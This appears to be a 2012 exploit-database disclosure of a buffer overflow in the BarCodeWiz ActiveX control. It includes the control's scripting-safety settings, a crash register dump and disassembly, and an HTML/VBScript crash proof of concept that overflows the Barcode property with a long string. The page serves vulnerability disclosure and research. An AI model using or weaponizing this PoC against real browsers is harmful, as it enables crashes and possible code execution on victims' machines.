Exploit Title: BarCodeWiz Barcode ActiveX(BarcodeWiz.dll) remote Buffer Overflow PoC
Date: July 25, 2012
Author: coolkaveh
coolkaveh@rocketmail.com
Https://twitter.com/coolkaveh
Vendor Homepage: http://barcodewiz.com/
Version: 4.0.0.0
Tested on: windows 7 SP2
awesome coolkaveh
==========================================================================
Class BarCodeWiz
GUID: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
Number of Interfaces: 1
Default Interface: IWiz
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
--------------------------------------------------------------------------
Registers:
--------------------------------------------------------------------------
EIP 023F8D42
EAX 00000021
EBX 00000ADD
ECX 025A2F58 -> 02439F8C
EDX 00000001
EDI 0046D48C -> 00000068
ESI 025A2F58 -> 02439F8C
EBP 0046D47C -> 0046E48C
ESP 0046D464 -> 025A0AA8
Block Disassembly:
----------------------------------------------------------------------------
23F8D33 INC EBX
23F8D34 MOV [EBP+8],ECX
23F8D37 PUSH ECX
23F8D38 PUSH DWORD PTR [EBP-8]
23F8D3B MOV ECX,ESI
23F8D3D CALL 023F837E
23F8D42 MOV [EDI+EBX*4],EAX <--- CRASH
23F8D45 INC EBX
23F8D46 DEC DWORD PTR [EBP-4]
23F8D49 MOV EAX,[EBP-4]
23F8D4C CMP EAX,[EBP-C]
23F8D4F JL 023F8C80
23F8D55 JMP 023F8ECE
23F8D5A MOV EAX,[ESI]
23F8D5C PUSH EBX
ArgDump:
--------------------------------------------------
EBP+8 00000006
EBP+12 025A2F58 -> 02439F8C
EBP+16 00000068
EBP+20 00000021
EBP+24 00000021
EBP+28 00000021
============================================================================
<html>
Exploit
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='poc' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\BarCodeWiz ActiveX Trial\DLL\BarcodeWiz.dll"
prototype = "Property Let Barcode As String"
memberName = "Barcode"
progid = "BARCODEWIZLib.BarCodeWiz"
argCount = 1
arg1=String(14356, "A")
poc.Barcode = arg1
</script>
